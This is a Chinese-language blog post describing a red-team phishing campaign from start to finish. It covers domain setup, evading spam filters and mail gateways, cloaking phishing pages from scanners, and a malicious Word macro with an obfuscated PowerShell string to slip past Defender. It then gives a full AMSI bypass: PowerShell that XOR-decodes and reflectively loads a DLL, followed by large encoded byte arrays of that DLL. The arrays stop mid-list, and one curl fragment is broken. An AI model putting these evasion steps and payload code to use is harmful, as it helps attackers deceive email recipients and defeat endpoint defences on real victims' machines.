Red Team Techniques-通过钓鱼攻击获得访问权限

栏目: 编程工具 · 发布时间: 5年前

内容简介：关于红队如何制作网络钓鱼攻击的帖子很多，但是大多数不是很完整。我下面会讲我们最近的一次攻击案例，从0到获得权限，包括域名的创建，制作钓鱼攻击的手段，绕过垃圾邮件过滤器，和电子邮件网关的注意事项，生成bypass 的payload以及绕过AMSI，文章的末尾我列了一份参考文章的清单。dig evilwing.me MX

关于红队如何制作网络钓鱼攻击的帖子很多，但是大多数不是很完整。

我下面会讲我们最近的一次攻击案例，从0到获得权限，包括域名的创建，制作钓鱼攻击的手段，绕过垃圾邮件过滤器，和电子邮件网关的注意事项，生成bypass 的payload以及绕过AMSI，文章的末尾我列了一份参考文章的清单。

重要的注意事项

邮件的来源
- 使用脚本从本地发送邮件
- headers中的ip可信度
最近购买的VPS有没有发件人历史记录
链接的可信度和域名的年龄
使用信任度高的发件人，如Mailchimp或Sendgrid
- 使用这些服务商来验证自己的域名，然后电子邮件就是” 发件人:自己的域名 “,而不是 通过Mailchimp for XXX
匹配目标电子邮件的返回路径
配置SPF（发件人策略框架），DKIM（域名密钥识别邮件），DMARC（DMARC是一种基于现有的SPF和DKIM协议的可扩展电子邮件认证协议，在邮件收发双方建立了邮件反馈机制，便于邮件发送方和邮件接收方共同对域名的管理进行完善和监督。）
时间和发送频率
- 如果从一个可信度极低的ip一次发送100封电子邮件，基本会被标记为垃圾邮件
在发送的域名和链接中有SSL证书
死链接（ https://www.computerhope.com/jargon/b/broken_link.htm）
HTML内容的数量

远离黑名单

你参与的时间长短决定了你对这件事情的关注度。

对自动化扫描引擎的保护。如果你克隆的站点信任度很高，这一点很重要

Scrapers和SEG（安全电子邮件网关）可以发现Office 365和Gmail等网络钓鱼页面。
为自动化平台提供正常的内容，防止被检测到。
您可以使用公开的 GreyNoise API 中的 WEB_CRAWLER 标签找到网页爬虫工具列表

-s -XPOST -d 'tag

```
 - 你也可以使用一些技术来识别headless Chrome，Selenium等环境
- 在可信度高的域名上放我们的payload
 -  SEGs 识别恶意payload的能力越来越强，如果被发现，就有可能被列入黑名单
- 一旦被发现，再去攻击，成功率很小了，而且这次计划很有可能就得到此为止。
- 查看这个帖子，https://posts.specterops.io/being-a-good-domain-shepherd-part-2-5e8597c3fe63，看你的域名是否如文中所说。
- 301/302重定向到信任度高的域名
 - 您的域名可能被归类为恶意域名，因为您实际上与重定向的域名并没有什么关联。

 ## 行动
 通常来说，主要以下面三种方式处理网络钓鱼活动。
 1. 针对某个人进行针对性的活动
 2. 针对在侦查阶段收集用户信息，然后群发攻击。推荐几个资源，https://github.com/laramies/theHarvester，https://github.com/DataSploit/datasploit，https://github.com/jivoi/awesome-osint,https://medium.com/@micallst/osint-resources-for-2019-b15d55187c3f
 3. 在目标的站点提交表单，通常是建立一个假公司
 
 
 每个攻击活动都要使用不同的域名，防止相互干扰，影响信任度，攻击活动应该从微小到庞大，如果公司意识到他们是目标，你以后的活动就会收到越来越严格的审查，我们经常在验证域名和设置电子邮件身份的验证后，会使用Mailchimp传递。我们成功的使用自己的脚本，用G Suite 账户和SMTP验证。
 
 由于时间限制(20 hours),我们选择了选项2和3，对于这两个攻击活动，我们使用了恶意的word文档，宏攻击。
 
 ## 侦查
 我们通过MX查询，发现目标公司是用G suite。

dig evilwing.me MX

![](https://raw.githubusercontent.com/evilwing/wing-images/master/img/20190221203000.png)

这是我自己域名的示例

Google在过滤恶意附件的方面做得很好，因此在这一系列的攻击活动中，将系列一的恶意文件放到高信任度的域名上，二则是将其放到自己的域名上。

## 攻击准备，生成word文档和payload

利用[unicorn](https://github.com/trustedsec/unicorn)生成一个恶意的powershell 宏来下载执行payload。
稍微改一下绕过Defender：

“po” & “w” & “er” & “s” & “he” & “l” & “l” & “.e” & “x” & “e” & “ “

我们使用[hershell](https://github.com/lesnuages/hershell)作为payload,这是用 Go 写的轻量级Stage，X86架构当时是无法察觉的，payload生成以后，下面就是混淆和加密，如果使用dsplit之类的东西知道目标环境，也可以手动绕过AV签名。以下是一些资源：

https://resources.infosecinstitute.com/antivirus-evasion-tools/

https://github.com/PowerShellMafia/PowerSploit/blob/master/AntivirusBypass/Find-AVSignature.ps1

http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html

msf5最近也增加了两个免杀模块。

## AMSI绕过
要执行我们的powershell代码，就得绕过微软亲儿子。WD。WD可以防恶意软件的接口，powershell在执行前会向扫描引擎提交内容，然后分析。幸好[cyberark](https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/)之前研究过关于这东西的免杀，被微软标记为使用XOR绕过免杀。

Re-compile the AMSI Bypass DLL
Convert the binary to base64
$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes(“$pwd\bypass.dll”))
XOR encrypt
foreach($byte in [Text.Encoding]::UTF8.GetBytes($base64string)) { $encrypted += $byte -bxor 1 }
Print encrypted buf as a byte array
foreach($byte in $encrypted){ Write-Host -nonewline “$byte,” }

On Target

Split encrypted buf due to powershell line limit lengths
Concat the buf
$xorencrypted = $a + $b + $c + $d + $e + $f + $g
Decrypt the buf
foreach($byte in $xorencrypted){$decrypted += $byte -bxor 1 }
Get buf as base64
$base64string = [Text.Encoding]::UTF8.GetString($decrypted)
Load the DLL using reflection
function Bypass-AMCEE { if(-not ([System.Management.Automation.PSTypeName]”Bypass.AMCEE”).Type) { [Reflection.Assembly]::Load([Convert]::FromBase64String($base64string)) | Out-Null } [Bypass.AMCEE]::Subvert(); }

Call the bypass method
Bypass-AMCEE

这允许我们在内存中执行payload，比如Mimikatz
AMSI 的bypass：https://gist.github.com/jkamdjou/fcba44227cda85eb8829ee43646c6c77

$a = @(85,87,112,80,64,64,76,64,64,64,64,68,64,64,64,64,46,46,57,64,64,77,102,64,64,64,64,64,64,64,64,64,80,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,102,64,64,64,64,64,53,103,116,102,53,64,117,64,111,79,72,99,102,67,85,76,49,105,87,70,105,113,98,120,67,118,98,108,56,111,98,108,71,117,72,70,79,105,99,108,52,119,101,66,67,104,91,82,67,120,101,86,53,102,96,86,53,102,83,68,56,85,72,70,48,119,91,70,84,116,69,80,49,74,75,64,64,64,64,64,64,64,64,64,67,80,83,80,64,64,85,64,68,69,64,77,117,66,77,109,118,64,64,64,64,64,64,64,64,64,64,78,64,64,72,104,64,77,64,85,64,64,64,64,53,64,64,64,64,70,64,64,64,64,64,64,64,64,66,104,118,64,64,64,64,102,64,64,64,64,80,64,64,64,64,64,64,64,68,64,64,102,64,64,64,64,64,102,64,64,67,64,64,64,64,64,64,64,64,64,64,70,64,64,64,64,64,64,64,64,64,64,66,64,64,64,64,64,64,102,64,64,64,64,64,64,64,64,76,64,88,72,84,64,64,67,64,64,64,67,64,64,64,64,64,64,68,64,64,64,68,64,64,64,64,64,64,64,64,67,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,77,102,115,64,64,67,81,64,64,64,64,64,68,64,64,64,70,102,69,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,70,64,64,64,64,118,64,64,64,66,64,74,102,64,64,73,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,72,64,64,64,66,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,66,66,64,64,64,68,102,64,64,64,64,64,64,64,64,64,64,64,64,64,64,66,52,49,91,89,105,49,64,64,64,64,70,64,118,64,64,64,64,102,64,64,64,64,69,102,64,64,64,64,72,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,66,64,64,64,70,64,116,98,111,79,120,88,118,64,64,64,70,102,69,64,64,64,64,80,64,64,64,64,64,80,64,64,64,64,80,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,67,64,64,64,67,64,77,111,75,109,99,70,56,107,64,64,64,76,64,64,64,64,64,70,64,64,64,64,64,66,64,64,64,64,71,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,80,64,64,64,80,102,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,69,114,74,118,64,64,64,64,64,64,64,68,102,64,64,64,64,66,64,64,84,64,74,66,68,64,64,71,102,75,64,64,64,67,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,67,76,118,67,64,69,69,64,64,64,64,64,80,64,64,68,80,67,120,64,80,64,64,98,66,102,80,64,64,64,74,64,73,72,83,64,64,67,118,74,64,72,64,64,64,88,74,67,111,53,83,64,64,64,74,74,67,72,64,64,64,110,85,67,105,68,70,77,64,106,64,71,121,76,73,78,72,57,64,64,64,64,70,98,104,76,64,64,73,64,110,64,80,64,64,67,102,114,73,103,105,68,64,64,64,110,110,68,102,64,64,66,105,76,72,68,80,102,114,67,102,64,89,68,118,98,115,99,67,117,112,74,67,76,64,64,64,110,76,71,102,49,73,66,67,56,64,68,102,76,110,64,118,64,64,67,105,99,42,64,83,76,75,68,80,106,114,67,102,64,89,68,118,98,115,82,67,108,79,71,102,64,64,64,82,89,80,64,80,64,64,67,66,102,84,64,64,64,74,68,118,80,91,74,67,84,64,64,64,110,85,67,83,68,68,71,105,68,71,70,82,102,86,64,64,64,74,64,64,98,103,70,120,102,89,64,64,64,74,68,80,84,91,74,64,80,64,64,64,88,64,98,106,68,64,64,73,64,110,68,64,64,64,66,102,64,86,68,118,98,115,64,67,68,73,74,104,72,66,74,67,102,64,64,64,110,64,74,106,75,85,82,106,72,67,64,64,68,64,64,64,64,64,64,64,118,64,64,64,67,51,79,66,53,118,77,107,76,118,76,123,68,52,64,64,64,64,64,64,84,64,99,64,64,64,64,67,118,69,64,64,64,107,103,102,64,64,104,64,76,64,64,81,102,69,64,64,64,107,84,50,83,120,96,86,52,111,98,118,64,64,64,64,66,64,67,118,64,64,88,64,64,64,64,66,79,87,84,118,69,102,67,118,64,64,68,64,64,64,64,66,79,73,87,84,109,68,64,64,64,64,57,64,98,64,64,70,102,67,64,64,64,107,80,108,121,119,88,102,64,64,64,64,64,64,64,64,64,66,64,64,64,67,87,52,84,66,79,64,106,66,64,64,64,64,42,102,68,123,64,67,88,64,64,64,68,64,64,64,64,96,64,64,64,64,67,64,64,64,64,64,68,64,64,64,64,70,64,64,64,64,66,102,64,64,64,67,102,64,64,64,64,81,64,64,64,64,64,80,64,64,64,64,68,64,64,64,64,66,64)

$b = @(64,64,64,67,64,64,64,64,64,68,64,64,64,64,67,64,64,64,64,64,80,64,64,64,64,68,64,64,64,64,64,64,75,118,66,64,80,64,64,64,64,64,64,67,102,69,68,64,83,68,69,67,102,64,121,64,105,68,69,67,102,69,53,64,79,57,66,69,118,64,121,64,118,64,64,67,102,64,102,64,96,53,66,67,102,66,111,64,96,53,66,67,102,66,72,64,96,53,66,67,102,64,88,64,112,53,66,67,102,69,106,64,96,53,66,67,102,69,56,64,96,53,66,67,102,64,50,64,96,53,66,67,102,64,76,64,103,72,66,67,102,69,112,64,81,72,66,67,102,67,115,64,96,53,66,67,102,67,82,64,86,64,66,67,102,67,119,64,55,98,66,67,102,69,81,64,67,68,69,67,102,69,71,64,74,98,66,67,102,66,101,64,74,98,66,67,102,69,88,64,112,98,66,67,102,69,89,64,112,98,66,67,102,67,81,64,112,98,66,67,102,67,64,64,121,68,69,67,102,69,68,64,55,98,66,67,102,66,74,64,74,98,66,67,102,66,73,64,119,72,66,64,64,64,64,64,66,88,64,64,64,64,64,64,64,68,64,64,80,64,67,64,67,64,64,101,118,67,81,64,49,68,64,64,80,64,67,64,64,64,67,64,64,64,119,64,64,64,64,80,80,64,67,64,64,98,64,68,118,68,64,64,64,110,64,64,64,67,75,64,64,72,64,67,118,64,123,64,84,53,64,88,64,64,64,64,64,64,64,102,64,66,86,72,71,88,69,91,64,64,67,64,64,64,64,64,64,66,64,64,75,88,102,123,118,79,112,64,64,76,64,64,64,64,64,64,72,64,64,109,104,66,71,64,51,57,64,67,64,64,64,64,64,64,64,102,64,66,83,72,79,53,69,100,64,64,72,64,71,64,102,64,64,64,64,64,75,88,64,115,80,79,46,64,64,114,64,73,120,68,64,64,64,64,64,105,105,107,83,64,102,88,64,66,118,64,64,64,64,68,64,113,80,64,64,64,64,72,64,115,80,64,64,64,64,68,64,117,102,64,64,64,64,68,64,91,80,76,64,64,64,72,64,87,64,72,64,64,64,76,64,109,64,76,66,64,64,80,64,101,102,76,64,64,64,68,64,117,80,76,64,64,64,72,64,105,102,64,64,64,64,76,64,86,118,72,75,64,79,68,66,64,80,64,83,64,79,68,66,67,102,64,91,64,79,68,66,66,102,64,113,64,79,68,66,68,64,64,121,64,79,68,66,68,64,64,52,64,79,68,66,68,64,67,67,64,79,68,66,68,64,67,75,64,79,68,66,68,64,67,83,64,79,68,66,68,64,67,91,64,79,68,66,68,64,67,105,64,79,68,66,71,80,67,113,64,79,68,66,68,64,67,121,64,79,68,66,68,64,67,52,64,79,68,66,68,64,66,75,64,79,68,66,67,102,66,91,64,77,114,64,74,64,66,105,64,76,118,66,77,80,66,105,64,78,106,69,76,64,66,113,64,74,68,69,79,102,66,52,64,77,110,69,78,118,69,83,64,73,110,66,80,118,69,83,64,76,110,69,82,64,66,105,64,76,64,66,84,80,66,67,64,79,68,66,67,102,64,116,64,64,114,64,102,118,64,116,64,67,76,64,107,64,64,116,64,67,114,64,112,118,64,116,64,66,76,64,117,64,64,116,64,66,114,64,118,64,64,116,64,69,76,64,118,64,64,116,64,69,114,64,118,64,64,116,64,68,76,64,117,64,64,116,64,68,114,64,121,102,64,116,64,71,76,64,118,64,64,116,64,71,114,64,118,64,64,116,64,70,76,64,50,102,64,116,64,70,114,64,66,64,68,116,64,73,76,64,71,80,71,107,64,73,114,64,88,118,68,67,64,64,76,64,64,64,64,68,64,67,110,64,64,80,66,81,64,102,64,67,64,118,67,86,64,118,68,64,64,64,68,71,64,76,57,69,64,80,64,64,64,80,98,64,105,80,76,67,64,64,64,67,66,80,69,99,64,118,72,64,68,66,118,64,64,64,68,64,67,72,64,64,64,64,68,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,85,118,76,64,64,64,80,64,64,64,64,64,64,64,64,64,64,64,64,64,64,71,98,64,103,80,64,64,64,64,64,64,67,64,64,69,64,64,64,64,64,64,64,64,96,51,87,120,99,108,87,114,76,123,72,64,89,48,56,85,101,70,71,49,96,86,79,67,98,111,75,105,100,84,109,116,96,89,83,84,100,89,67,109,84,51,109,55,91,85,49,123,64,69,121,79,99,51,83,48,99,70,84,42,64,69,121,80,98,108,109,51,88,89,83,109,82,86,48,118,99,70,87,117,91,86,52,49,88,89,83,113,99,51,52,68,91,89,83,105,96,86,121,123,81,102,64,48)

$c = @(76,84,79,67,83,106,72,49,78,69,68,123,78,84,72,118,76,106,84,118,79,107,71,68,79,69,106,121,78,84,76,48,76,85,98,51,79,107,72,121,80,106,88,53,79,49,83,67,80,49,87,68,64,68,71,79,80,49,87,71,64,70,48,123,88,51,56,120,99,70,109,104,64,73,79,120,88,118,67,82,101,86,52,49,96,86,48,109,83,108,109,109,99,70,83,72,88,86,52,106,99,70,84,64,80,51,56,116,98,51,56,114,91,80,67,110,85,86,56,106,101,86,121,109,64,73,67,120,99,51,79,78,88,86,48,109,64,70,52,105,99,86,84,64,87,50,75,113,101,70,87,76,96,86,52,109,64,71,91,105,99,73,87,109,87,73,109,118,91,80,67,69,99,51,48,118,96,86,121,109,98,106,101,109,99,108,87,120,88,89,83,109,91,68,71,49,101,73,75,113,88,111,87,49,91,80,67,73,101,86,109,106,80,89,83,49,98,108,109,104,101,89,83,109,64,68,83,109,88,111,87,111,91,51,71,104,99,70,87,67,101,73,83,120,96,86,75,48,101,70,84,64,80,51,56,117,87,108,109,123,96,86,75,114,91,84,71,49,101,73,75,113,88,111,87,49,91,80,67,67,98,50,79,109,99,86,75,114,100,87,83,113,101,70,121,109,80,89,83,49,98,108,109,104,101,89,83,109,64,68,71,123,98,51,87,117,88,108,121,52,87,73,75,105,91,70,87,117,88,89,75,115,80,89,83,49,98,108,109,104,101,89,83,109,64,71,83,105,98,108,101,109,101,68,91,120,88,86,48,109,101,51,56,120,96,49,71,49,101,73,75,113,88,111,87,49,91,80,67,67,98,50,79,109,99,86,75,114,100,84,91,113,99,70,87,86,91,89,75,123,96,86,56,116,80,89,83,49,98,108,109,104,101,89,83,109,64,68,71,123,98,51,87,117,88,108,121,52,80,51,56,116,91,108,109,111,101,89,75,105,101,70,109,119,99,106,71,49,101,73,75,113,88,111,87,49,91,80,67,67,98,50,79,109,99,86,75,114,100,84,83,109,98,51,79,120,96,89,67,49,96,86,56,116,80,89,83,49,98,108,109,104,101,89,83,109,64,68,79,119,99,89,67,113,99,70,71,49,96,86,56,116,84,108,87,114,88,89,105,105,101,70,109,119,99,111,79,67,101,73,83,120,96,86,75,48,101,70,84,64,80,89,79,123,91,86,48,104,99,73,109,80,98,108,56,106,101,86,79,49,80,89,83,49,98,108,109,104,101,89,83,109,64,68,71,123,98,51,87,117,88,108,121,52,80,51,56,118,100,89,75,113,91,51,105,49,80,89,83,49,98,108,109,104,101,89,83,109,64,68,71,123,98,51,87,117,88,108,121,52,80,51,56,117,98,70,71,116,100,84,71,49,101,73,75,113,88,111,87,49,91,80,67,82,101,86,52,49,96,86,48,109,80,51,56,117,98,70,71,49,96,86,75,113,99,70,109,49,100,84,71,49,101,73,75,113,88,111,87,49,91,80,67,66,100,89,83,109,64,70,83,50,84,51,109,55,91,80,67,123,96,89,113,109,64,71,79,52,98,50,83,109,99,82,52,82,101,86,52,49,96,86,48,109,77,109,91,109,98,111,79,113,99,51,52,113,99,108,98,64,80,86,121,114,99,51,79,72,83,51,121,119,88,108,71,114,64,68,48,105,98,111,79,110,88,86,118,64,82,51,87,120,99,108,87,114,76,123,72,116,91,70,121,114,64,68,75,52,98,70,71,123,98,120,52,106,99,70,118,64,84,50,109,123,101,70,87,117,64,71,79,52,98,50,83,109,99,82,52,82,91,86,91,114,91,86,79,49,96,86,56,116,64,70,56,118,89,49,71,106,91,70,109,49,96,86,56,116,64,71,113,109,98,108,57,64,77,108,79,49,99,50,72,64,87,84,109,116,101,71,67,49,98,102,67,85,100,89,79,49,91,86,49,116,83,70,109,105,91,51,52,119,98,50,83,113,88,50,76,64,84,50)

$d = @(109,123,101,70,87,117,77,109,75,48,99,111,83,113,99,86,84,116,82,86,52,49,91,89,75,119,98,71,79,109,98,111,91,113,88,51,87,123,64,71,79,52,98,50,83,109,99,82,52,82,101,86,52,49,96,86,48,109,77,106,79,119,99,89,67,113,99,70,87,120,84,51,87,120,101,108,109,107,91,89,76,64,83,70,87,104,101,86,101,111,96,86,52,111,85,86,56,106,91,89,76,64,84,111,87,116,101,70,109,117,91,84,105,109,99,73,67,109,98,111,76,64,80,111,109,118,88,89,79,123,64,68,101,109,101,71,67,120,99,51,79,67,91,70,83,120,91,89,79,123,64,70,121,118,80,86,83,106,98,108,87,123,98,118,67,81,88,108,113,109,88,50,80,64,99,73,67,108,99,68,56,114,91,71,67,120,99,50,83,109,88,50,80,64,87,108,109,120,101,73,87,105,99,71,67,120,99,50,83,109,88,50,80,64,91,108,121,78,91,89,101,80,98,108,56,49,91,86,79,49,64,70,56,118,89,49,87,53,98,70,121,113,88,51,109,49,64,71,79,48,88,111,91,109,98,111,80,64,91,70,87,123,101,64,67,75,99,108,109,49,96,86,71,114,96,89,113,109,80,89,75,120,88,89,106,64,80,51,56,118,100,80,67,76,99,51,71,106,85,70,109,104,98,108,71,120,100,80,67,82,101,70,121,79,99,50,91,109,85,86,87,117,99,50,75,52,64,70,56,118,89,49,87,121,101,86,71,114,96,89,83,52,64,64,64,64,64,64,64,81,84,102,67,48,64,70,53,64,99,102,67,113,64,70,53,64,91,118,64,64,68,86,68,64,99,80,67,123,64,70,106,64,77,102,67,106,64,70,118,64,99,64,64,64,73,84,68,64,99,80,67,123,64,70,106,64,84,118,67,107,64,70,68,64,99,102,67,66,64,73,84,64,91,102,67,108,64,70,84,64,98,102,64,64,73,89,64,64,88,80,67,49,64,70,76,64,96,64,64,102,64,70,68,64,98,64,67,118,64,70,118,64,96,80,67,109,64,70,80,64,77,102,64,64,64,74,119,84,84,119,53,96,78,51,109,81,114,49,55,107,110,114,66,114,78,74,118,64,67,66,64,67,64,80,102,69,72,64,64,67,67,82,64,67,64,83,68,83,67,66,64,67,64,80,53,68,72,64,68,67,64,102,49,73,66,105,102,88,70,80,106,101,67,83,102,66,66,64,72,66,67,64,64,67,64,80,53,66,67,105,102,71,64,64,72,66,70,67,102,68,64,64,68,91,66,118,98,64,64,102,68,82,88,83,71,109,67,64,64,67,70,64,102,72,64,64,80,67,73,80,84,72,70,64,102,71,64,64,72,88,70,64,102,72,117,50,113,98,87,105,106,49,53,72,106,69,67,105,68,80,67,80,64,66,70,67,102,78,67,64,64,67,70,64,53,72,64,64,80,66,70,67,106,75,68,64,106,70,64,64,76,67,70,67,102,72,64,118,64,64,66,64,102,67,64,64,102,64,64,64,64,64,64,67,53,67,64,64,68,64,87,64,72,86,87,50,75,105,98,68,52,119,99,106,87,53,88,51,87,118,101,70,109,119,99,109,83,110,98,108,56,50,98,118,68,72,64,80,64,73,64,80,64,64,64,64,64,77,64,80,64,70,80,111,109,118,88,89,79,123,64,64,64,71,64,80,64,64,64,64,64,89,64,80,64,82,80,51,56,118,100,89,75,113,91,51,105,49,72,76,74,113,72,66,64,120,76,69,68,52,64,64,64,113,64,80,64,106,88,123,68,120,88,123,88,53,76,108,88,117,79,85,67,106,76,82,49,49,76,107,88,48,77,85,106,50,88,86,84,117,79,69,84,123,79,123,76,48,91,86,75,108,88,86,80,123,64,64,64,76,64,80,64,73,76,82,53,118,77,107,64,116,76,64,64,64,85,80,68,64,73,66,52,78,83,87,83,70,98,108,71,117,91,89,101,119,98,108,114,114,87,108,87,120,98,51,109,119,99,107,48,51,79,66,53,48,77,107,72,67,64,71,80,78,71,68,91,120,88,86,48,109,101,51,56,120,96,49,83,113,98,50,67,114,88,89,109,78,88,86,48,109,71,66,52,78,83,87,80,102,83,111,75,105,99,86,87,50,99,50,75,115,72,69,80,116,79,82,53,120,67,64,68,64,64,64,64,64,64,64,64,64,116,49,72,116,89,64,64,64,64,64,64,66,64,64,64,64,73,64,68,64,64,75,118,112,64,64,66,98,69,64,64,64,84,109,79,68,84,123,51,67,98,101,66,73,66,74,83,76,111,54,117,91,68,115,112,76,103,68,114,67,64,64,64,64,80,123,113,98,87,89,79,109,98,111,79)

$e = @(98,96,108,56,123,96,71,121,68,99,51,79,48,99,86,87,116,101,73,79,98,87,108,109,123,101,86,71,114,72,71,79,49,101,86,83,113,99,120,64,120,76,69,68,50,89,71,67,120,99,51,113,109,88,50,83,123,89,68,75,52,98,70,71,123,98,48,121,66,100,89,67,105,98,50,79,98,99,51,75,112,89,68,83,109,88,111,87,111,89,68,75,52,98,70,71,123,98,120,52,118,91,70,72,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,69,102,74,118,64,64,64,64,64,64,64,64,64,64,64,64,69,55,74,118,64,64,64,66,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,54,66,114,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,67,103,80,51,56,120,83,70,121,114,85,86,71,113,99,102,67,117,98,51,79,119,98,108,87,109,77,108,83,114,99,64,64,64,64,64,64,64,46,120,84,64,72,64,64,80,76,103,42,80,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64)

$f = @(64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,80,64,80,64,64,64,64,70,64,64,64,102,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,80,64,67,64,64,64,64,76,64,64,64,102,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,80,64,64,64,64,64,64,82,64,64,64,64,71,105,64,64,64,64,76,64,118,64,64,64,64,64,64,64,64,64,64,64,64,64,76,64,123,80,64,64,64,67,86,64,71,76,64,89,118,67,86,64,68,84,64,84,102,67,85,64,68,106,64,85,118,67,78,64,71,57,64,82,80,67,78,64,68,88,64,85,118,64,64,64,64,64,64,119,80,85,119,46,102,64,64,64,80,64,64,64,64,68,64,64,64,64,64,64,64,64,64,64,80,64,64,64,64,64,64,81,118,64,64,64,64,64,64,64,64,64,68,64,64,64,64,64,102,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,64,68,80,64,64,64,64,67,64,71,88,64,88,80,67,120,64,68,88,64,96,80,67,114,64,70,84,64,82,80,67,116,64,70,88,64,99,118,64,64,64,64,64,64,75,64,64,68,64,64,64,64,87,64,67,120,64,70,68,64,99,102,67,123,64,70,118,64,88,80,67,49,64,70,106,64,99,118,67,116,64,64,64,64,64,64,64,64,64,77,64,68,99,64,72,64,64,64,68,64,84,118,67,49,64,73,72,64,96,80,67,116,64,70,98,64,83,102,67,113,64,70,118,64,91,80,67,75,64,70,53,64,91,102,67,119,64,64,64,64,82,64,72,64,64,64,68,64,76,64,64,118,64,69,64,64,76,64,64,118,64,69,80,64,88,102,64,118,64,64,64,64,70,102,64,67,64,64,68,64,80,118,67,119,64,70,49,64,99,80,67,109,64,70,53,64,101,64,67,123,64,64,64,64,64,64,64,64,64,66,72,64,64,80,64,67,64,68,76,64,99,118,67,117,64,73,64,64,88,80,67,116,64,73,106,64,85,102,67,105,64,70,49,64,91,80,64,64,64,64,64,64,64,64,64,64,64,69,88,64,67,118,64,67,64,68,88,64,96,80,67,114,64,70,84,64,83,64,67,109,64,73,76,64,88,118,67,120,64,70,106,64,98,64,67,49,64,70,106,64,99,118,67,116,64,64,64,64,64,64,67,66,64,73,106,64,98,64,67,105,64,73,76,64,98,118,64,64,64,64,64,64,76,64,64,72,64,64,68,64,83,102,67,113,64,70,118,64,91,80,67,86,64,70,84,64,